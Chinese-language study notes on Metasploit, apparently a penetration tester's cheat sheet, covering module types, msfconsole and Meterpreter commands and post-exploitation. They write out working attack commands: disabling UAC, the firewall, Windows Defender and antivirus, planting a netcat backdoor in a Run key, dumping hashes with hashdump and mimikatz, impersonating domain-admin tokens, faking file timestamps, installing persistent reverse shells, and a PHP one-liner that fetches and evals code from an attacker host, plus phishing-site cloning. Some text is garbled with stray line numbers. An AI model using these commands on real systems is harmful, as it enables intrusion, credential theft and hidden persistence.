MSF
payload
- Single:只有一段代码的payload
- Stages: 只用来网络连接,比较小
- Stager: 下载目的payload,比较小
Auxiliary
用来扫描,信息收集,枚举指纹探测。
encoders
主要对payload加密,防查杀
Nops
提高payload的稳定性和大小。
exploit
用来漏洞利用。
命令
- msfupdate更新msf
- help 查看帮助,后面可以加上指定的命令
- exit 退出
- msfconsole的-r参数可以指定一个资源脚本文件
- banner 查看banner信息
- connect 类似于msf的nc
- show XXX 查看模块的可用状态,在具体模块里面也是可以使用show命令
- search xxx 搜索模块
- name:搜索名称包含的
- platform:搜索平台
- cve:搜索cve
- use 进入某个模块
- 在use下面的:
- info查看信息
- show options 查看参数
- show target 展示目标
- show payloads 展示适用于当前漏洞的payload
- check 只是检测一下(大部分没有)
- back 返回上一层
- set 设置值
- target 设置目标系统
- payloads 设置payload
- db_
- db_status,查看连接状态
- db_nmap 使用namp扫描,将信息保存下来
- hosts 查看nmap扫描的结果 -s 查找 -c 查看列
- creds 查看报出来的密码
- vlun 查看密码
- setg 全局设置(只能在当前会话中有用,除非你要save了)
- run/exploit 执行当前模块
- -j 参数后台方式执行
- 分为Activity和Passive
- jobs 查看当前的任务
- sessions 查看当前的shell连接
- -i 进入session 后面指定session 编号
- load
- 加载插件,例如load openvas
- unload nessus 取消加载插件
- loadpath 加载自己写的插件
- route 通过指定session路由(通过得到的session入侵内网)
- irb:开发的接口
- resource 加载资源文件
- payload也是可以单独使用,然后使用generate生成一个payload,
- -b 指定坏字符,msf会智能选择encode
- -e 指定encode
- -i 编码次数
- -k 新的进程
- -x 新的模板
- -t 输出类型
- -f 输出文件
- -s 加指定个数的nop
- Meterpreter是比较高级的shell
- help 查看命令
- background 返回上一级
- pwd 查看目录
- dir和ls都是查看目录
- cat 查看文件
- mkdir 创建目录
- rmdir 删除目录
- mv,rm 移动,删除
- edit 编辑(类似于vi)
- lpwd 当前我们msf的目录
- lcd 移动msf执行的目录
- run 执行命令
- bgrun 后台命令
- tab查看支持的一些命令
- 通过bgrun XXX执行就可以了
- clearev清除日志
- download 下载到lpwd的目录下
- upload 上传(Windows下的目录需要注意需要两个\,防止转义)
- execute -f 命令 -i -h(执行命令) -i 交互 -h 隐藏
- ps查看进程
- getuid 查看当前的账号
- gesystem 强制转换为system
- getprivs 查看权限
- getproxy 获取代理
- getpid 查看注入的进程
- migrate 迁移进程 migrate pid
- hashdump dump下来hash值
- sysinfo 查看系统信息
- kill 杀死进程
- shell 获取操作系统的shell
- show_mount 查看分区
search -f win.ini
查找文件- netstat 查看开放的端口和连接
- arp 查看缓存
- route 查看路由表
- ldletime 查看空闲时间
- resource 调用资源文件(就是一些指令)
- record_mic 记录麦克风
- webcam_list 列举摄像头
- web_snap -i 1 -v false 查看摄像头
- python_execute “” 执行原生的python代码(无需环境)
- 我们需要先load python 进来
python_import -f xxx.py
导入py代码- msfconsole -x “” 一条命令执行
- MSF的扫描
- 使用内置的nmap:
db_nmap 192.168.209.1
- auxilary模块的使用方法和exploit模块的使用方法类似
- 有的时候我们需要提供session(通过background返回去)
- 如果提示Known bug in WMI query, try migrating to another process 迁移到另一个进程再次尝试
- 小知识:mssql端口号可能不是1433,他可能是个随机的数,我们可以通过1434这个端口查询出真是的端口号。
- 使用内置的nmap:
- WMAP插件(自动扫描msf中的http模块)
- load wmap
wmap_sites -a http://192.168.209.1
- -l 查看任务列表
wmap_targets -t http://192.168.209.1/test
wmap_run -e
执行
- 和扫描器配合
- openvas/nessus/nessus
- 使用load openvas
- 使用方法比较简单,-h看看就知道了,这里不记录了
- 使用openvas/nessus导出的nbe文件(db_import)
- 使用load openvas
- openvas/nessus/nessus
- 客户端漏洞
- 使用存在漏洞的客户端进行入侵
- 例如使用低版本的IE访问某些页面就会被入侵
- 使用存在漏洞的pdf阅读器会被入侵,msf支持生成含有payload的pdf
- 通过flash进行入侵
- brewser_autopwn2这个模块集成了好用的浏览器漏洞模块,一运行相当于测试了好多的模块
- jre也是可能存在漏洞
- 安卓中也是payload在msf有的。
- office中的宏插入vbs感染计算机。
- 使用存在漏洞的客户端进行入侵
- 拥有shell之后进行后渗透测试阶段的操作
- Meterpreter的shell
- load priv 加载提权插件
- getsystem提权提权,如果不行的话呢很可能是UAC的访问控制
- local目录下的模块是提权用的
- ask模块是用来得到UAC允许的
- set payload xxx(与之前一样的payload)
- set filename xxx 设置一个文件名称
- 然后set session id 设置拿来的session
- exploit之后会得到一个经过UAC访问控制的session,之后我们就可以getsystem
- bypassuac模块
- set session id 设置一个Session
- set payload xxx和上面一个一样,有一些别的没记录,看一下就知道了。
- 这个模块就不会用来用户确定UAC权限的了。
- 也是可以获得UAC允许的session
- bypassuac_injection模块
- 这个是通过DLL注入进去的,操作的话呢还是差不多的。
- 通过漏洞进行账号的提权
- 13_053/13_081/13_097/ppr_flatten_tcp(一些杂项没有写)
- set payload
- set session id
- exploit
- 这个时候会利用漏洞提升权限
- 13_053/13_081/13_097/ppr_flatten_tcp(一些杂项没有写)
- vncinject这个payload是图形化的VNCshell
- ViewOnly这个参数改为no的话呢,你就可以进行操作了
- 这个payload不是所有多可以使用的
- 关闭UAC
cmd.exe /k %windir%\System32\reg.exe ADD HKLMSOF TWAREMicrosoft\Windows\CurrentVersion\Policies\System N EnableLUA /t REG DWORD /d0 /f cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWAREMicrosoft\Windows\CurrentVersion\Policies\system /N LocalAccountTokenFilterPolicy /t REG DWORD/d1 f
开启远程桌面服务 run post/windows/manage/enable. rdp 第二种方法 run getgui -e run getgui -u yuanfh -p pass run multi console. command -rC clean up 201 60824.1855.rc1
2
3
4
5
6
72. 然后重启计算机
11. 关闭防火墙:需要管理员或system权限 `netsh advfirewall set allprofiles state off`
12. 关闭Windefend:`net stop windefend`
13. Bitlocker 操盘加密:`manage-bde -off C`关闭C盘加密`manage-bde -status C`查看C盘加密状态
14. 关闭DEP:`bcdedit.exe /set {current} nxAlwaysOff`
15. 在Meterpreter中使用run killav关闭常见的杀毒软件或者`run post/windows/manage/killav`
16.upload /usr/share/windows binaries/nc.exe C:l\windows\\system32 reg enumkey -k HKLM\softwarel\microsoft\windowsl\currentversion\run reg setval -k HKLM\softwarel\microsoft\windows\\currentversion\\run -V nc -d 'C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe' reg queryval -k HKLM\softwarel\microsoft\windows\\currentversion\\Run -V nc1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
1617. 让看远程桌面:`screenshot`
18. `use espia` 然后 `screengraby`
19. Token:
1. 分类:
1. 交互的Token(3389之类的)
2. 非交互的Token(smb文件共享之类的)
2. 注销的交互token会变成非交互的token,权限并没有改变
3. 通过域管理员遗留的token,我们利用,然后进行管理
4. load incognito 加载这个插件
5. list token 列举token(需要域管理员访问过我们)
6. impersonate_token LAB\\administrator (\\是取消转义\,后面的是我们通过列举token得到的名称)
7. 然后我们就获取到了域管理权限
8. `execute -f cmd.exe -i -t` -t 使用我们的token,-i是交互,-f是命令
9. 然后我们就有域管理员的的权限
10. 使用本机的漏洞进行提权:ms_10_015,通过已有的session通过遗留的token进行提权
20. 添加注册表(添加nc自动启动):
- 开启防火墙策略:
netsh firewall add portopening TCP 444 "test" ENABLE ALL
- 抓包:使用meterpreter的命令
- 使用命令:
sniffer_start 1
选择抓包的网卡编号,可以通过:sniffer_interfaces
进行获取 - 使用:
sniffer_dump 1 1.cap
进行dump我们的数据包 - 需要注意的是我们抓包的缓冲区是有限的,所以我们要及时dump
- 这个智能的是不会抓取Meterpreter自己发送的数据包
- psnuffle这个是对之前的cap文件进行分析,但是还是wireshark会比较好一些
- 使用命令:
- 文件搜索
search d- c:\\ -f *.ini
- 密码破解
- 首先我嗯需要通过Meterpreter获取到hash
- 然后我们使用:
use post/windows/gather/hashdump
- 然后设置我们的session
- 然后exploit就可以了,几句可以获得hash了
- 然后我们使用:
auxilary/analyze/jtr_crack_fast
- 直接run就好了
- 这个只是判断一些简单的密码时候否和我hash相匹配
- 文件的MAC时间(Modified【修改文件内容】 / Accessed【访问时间】 / Changed【权限时间修改】)
touch -d "5 days ago" 1.txt
将访问的时间修改文件的时间提前五天,-t 是直接修改时间戳stat 1.txt
查看MAC时间状态- Meterpreter实现修改时间
timestomp -v 1.txt
(MACE的E 是文件扇区数据修改时间)- -z(-m -a -c -e) 指定时间
- -b 设置时间改为空
- -r 是递归
- Pivoting 跳板
run autoroute -s 1.1.1.10/24
进行路由转发- 使用protfwd:
portwfwd -add -L 1.1.1.0-l 3389 -r 2.1.1.11 -p 3389
将自己的3389和2.1.1.11
中间做了隧道
- handler模块中的
exitonsession
设置为false的话呢是接收到session的话呢是不会退出的。set AutoRunScript migrate -n explore.exe
这段命令是session一来自动转移
- POST模块
- 扩大战果的模块
run post/windwos/gather/credentials/credential_colltor
- post的模块大部分都是这样子的扫描查看信息的,在我们的session中
run post/multi/recon/local exploit_ suggester
- 自动帮我们侦查本地提权的漏洞(多个)
set AutoRunScript post/windows/gather/dumplist
自动执行查看用户最近使用文档(这个需要我们先转移用户)- InitalAuotoRunScript 在AutoRunScript执行之前运行
- Meterpreter中:
set hostsedit -e 1.1.1.1,www.baidu.com
修改host,会自动清除缓存(缓存相对host优先级高)run winenum
查看Windows的信息(可能需要高权限)
- 持久shell
run metsvc -A
(这个会写文件,安装一个服务)use exploit/multi/handler
set payload windwos/metsvc_bind_tcp
set rhost 192.168.209.129
set lport 3333
- 这种相对不好用,下面的好用
run persistence -X -r 192.168.209.129 -p 4444 -i 10
下次重启自动启动,延迟10s启动
Mimikatz
load mimikatz
msv
查看用户信息kerberos
读取内存中的登录密码mimikatz_command -f modulename
- 还可以使用PHP脚本生成的shell反弹连接msf
- 在handler中使用和之前一样的使用payload:php/meterpreter/reverse_tcp
- Web Delivery
- 代码执行漏洞的利用
use exploit/multi/script/web_deliery
- set tagert PHP(php,python…)
- payload:php/meterpreter/reverse_tcp
- 然后我们会生成一个php命令,目标有代码执行,我们就让他执行
- 命令类似于:
php -d allow url fopen=true -r "eval(file get_ contents( 'http://192.168.21.90: 8080/'));"
- 然后就会反弹连接我们的msf
- 可以使用hidden的绑定
- 就是只有我们连接了才会开放端口,我们不连接的话呢是不会开启的
- armitage中的find attack之寻找可用的端口对应的模块,hail是全部检测下。
- 社会工程学
- setooklit
- 使用社会工程学攻击
- Wbesit attack vectors
- 选择身份验证的攻击
- 这个会克隆一个URL,然后接受表单
- 写到本机上面,最后跳转到真正的页面
- 还可以通过邮箱进行攻击